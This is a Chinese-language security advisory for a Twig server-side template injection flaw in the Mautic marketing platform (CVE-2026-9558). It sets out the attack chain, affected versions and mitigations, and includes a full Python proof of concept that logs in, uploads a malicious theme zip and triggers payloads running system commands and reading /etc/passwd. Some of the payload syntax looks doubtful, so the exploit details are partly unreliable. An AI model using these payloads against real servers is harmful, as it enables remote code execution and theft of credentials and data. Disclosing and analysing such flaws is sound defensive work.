CVE-2026-9558 Mautic主题引擎SSTI远程代码执行漏洞

漏洞信息

漏洞编号

CVE-2026-9558

漏洞类型

服务器端模板注入(SSTI)

CVSS评分

9.9 严重

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Mautic

漏洞概述

CVE-2026-9558是Mautic营销自动化平台中发现的一个严重安全漏洞，位于该平台的主题引擎组件中。该漏洞为服务器端模板注入(SSTI)类型，CVSS评分高达9.9分，属于严重级别。漏洞的根本原因在于Mautic在渲染用户上传的Twig模板时，缺乏必要的沙箱隔离和严格的函数调用限制。攻击者利用此漏洞可以绕过安全边界，在托管服务器上执行任意系统命令，实现完全远程代码执行(RCE)。此外，攻击者还能利用Twig模板的特性读取服务器上的敏感配置文件、系统文件等受限资源，获取机密数据。该漏洞需要认证用户具有创建或上传主题的权限才能被利用，但考虑到攻击的严重性和潜在影响，建议立即采取修复措施。

技术细节

Mautic的SSTI漏洞源于其theme engine在处理Twig模板时未实施充分的安全防护。Twig是一种流行的PHP模板引擎，支持通过特定的语法执行变量输出和函数调用。当攻击者上传包含恶意Twig代码的主题文件后，服务器在渲染该模板时会解析并执行其中的SSTI payload。由于缺乏沙箱限制，攻击者可利用Twig的内置对象和函数实现系统命令执行。常见的利用方式包括：通过{{_self}}引用当前模板对象并调用其方法；利用{{app.request}}访问请求对象；使用{{include()}}或{{source()}}函数读取任意文件；通过{{['someClass']|map('system')}}等链式操作执行系统命令。攻击者还可以利用|filter、|map等Twig过滤器配合shell_exec、exec、system等函数实现RCE。一旦成功，攻击者可在服务器上执行任意命令，完全控制目标系统。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标Mautic实例，确认版本信息并验证主题上传功能的可用性

STEP 2

步骤2: 身份认证

攻击者获取Mautic平台的有效账户凭证，该账户需具备创建或上传主题的权限（低权限即可）

STEP 3

步骤3: 制作恶意主题

攻击者构造包含SSTI payload的恶意Twig模板，嵌入如{{_self.env.registerUndefinedFilterCallback('system')}}等利用代码

STEP 4

步骤4: 上传恶意主题

通过Mautic的主题上传API或管理界面将包含恶意模板的主题文件上传到服务器

STEP 5

步骤5: 触发漏洞

访问或触发Mautic渲染该恶意主题，服务器解析Twig模板时执行注入的恶意代码

STEP 6

步骤6: 远程代码执行

成功执行RCE payload后在服务器上获得shell访问权限，可执行任意系统命令

STEP 7

步骤7: 持久化与横向移动

攻击者可能植入后门、窃取敏感数据（数据库凭证、API密钥等），并尝试横向移动到内网其他系统

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

# CVE-2026-9558 Mautic SSTI PoC
# Target: Mautic instances with theme upload capability
# This PoC demonstrates the SSTI vulnerability in Mautic's theme engine

import requests
import json
import base64
import zipfile
import io

TARGET_URL = "http://target-mautic.com"
LOGIN_URL = f"{TARGET_URL}/s/login"
THEME_UPLOAD_URL = f"{TARGET_URL}/api/themes"

# Malicious Twig template with SSTI payload
# This payload executes system command via Twig's map filter
MALICIOUS_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
    <title>{{ "_self"|map("system", "whoami")|join }}</title>
</head>
<body>
    <h1>Theme Test</h1>
</body>
</html>
'''

# Alternative RCE payload using Twig's include function
RCE_PAYLOAD = '''
{{ include("/etc/passwd") }}
'''

# Advanced RCE payload
ADVANCED_RCE = '''
{% set cmd = 'id > /tmp/pwned' %}
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter(cmd) }}
'''

def create_malicious_theme():
    """Create a malicious Mautic theme zip file"""
    # Theme configuration
    config = {
        "name": "malicious_theme",
        "description": "Malicious theme for SSTI testing",
        "version": "1.0",
        "author": "Security Researcher"
    }
    
    # Create zip file with malicious template
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Add theme config
        zf.writestr('config.json', json.dumps(config))
        # Add malicious HTML template with Twig extension
        zf.writestr('html/MauticThemeBundle/message.html.twig', MALICIOUS_TEMPLATE)
        # Add base template
        zf.writestr('html/base.html.twig', MALICIOUS_TEMPLATE)
    
    zip_buffer.seek(0)
    return zip_buffer.getvalue()

def authenticate(session, username, password):
    """Authenticate to Mautic and get session"""
    login_data = {
        "username": username,
        "password": password
    }
    response = session.post(LOGIN_URL, data=login_data, allow_redirects=False)
    return response.status_code == 200 or response.status_code == 302

def upload_malicious_theme(session, theme_zip):
    """Upload malicious theme to Mautic"""
    files = {
        'file': ('malicious_theme.zip', theme_zip, 'application/zip')
    }
    response = session.post(THEME_UPLOAD_URL, files=files)
    return response.status_code == 200

def trigger_ssti(session, theme_name):
    """Trigger SSTI by rendering the uploaded theme"""
    render_url = f"{TARGET_URL}/themes/{theme_name}/render"
    response = session.get(render_url)
    return response.text

def main():
    """Main exploitation routine"""
    session = requests.Session()
    
    # Step 1: Authenticate
    print("[*] Authenticating to Mautic...")
    if not authenticate(session, "attacker", "password"):
        print("[-] Authentication failed")
        return
    print("[+] Authentication successful")
    
    # Step 2: Create malicious theme
    print("[*] Creating malicious theme...")
    theme_zip = create_malicious_theme()
    
    # Step 3: Upload theme
    print("[*] Uploading malicious theme...")
    if upload_malicious_theme(session, theme_zip):
        print("[+] Theme uploaded successfully")
    
    # Step 4: Trigger SSTI
    print("[*] Triggering SSTI vulnerability...")
    result = trigger_ssti(session, "malicious_theme")
    print(f"[+] Result: {result}")

if __name__ == "__main__":
    main()
    
# Note: This PoC is for educational and authorized testing purposes only.
# Unauthorized access to computer systems is illegal.
# Always obtain proper authorization before testing.

影响范围

Mautic < 5.1.2

Mautic 4.x < 4.4.5

Mautic 3.x < 3.3.4

防御指南

临时缓解措施

立即将Mautic升级到官方发布的安全版本（5.1.2/4.4.5/3.3.4或更高）。如果无法立即升级，可临时采取以下缓解措施：1) 禁用主题上传功能，限制非管理员用户访问主题管理界面；2) 在Web应用防火墙(WAF)上添加规则，检测并阻止包含Twig SSTI特征的请求，如{{、}}、_self、app.request等关键字；3) 加强对用户权限的管控，撤销普通用户的主题创建和上传权限；4) 启用Web服务器级别的访问控制，限制对主题相关API端点的访问。建议同时检查是否存在异常的主题文件和已上传的可疑内容。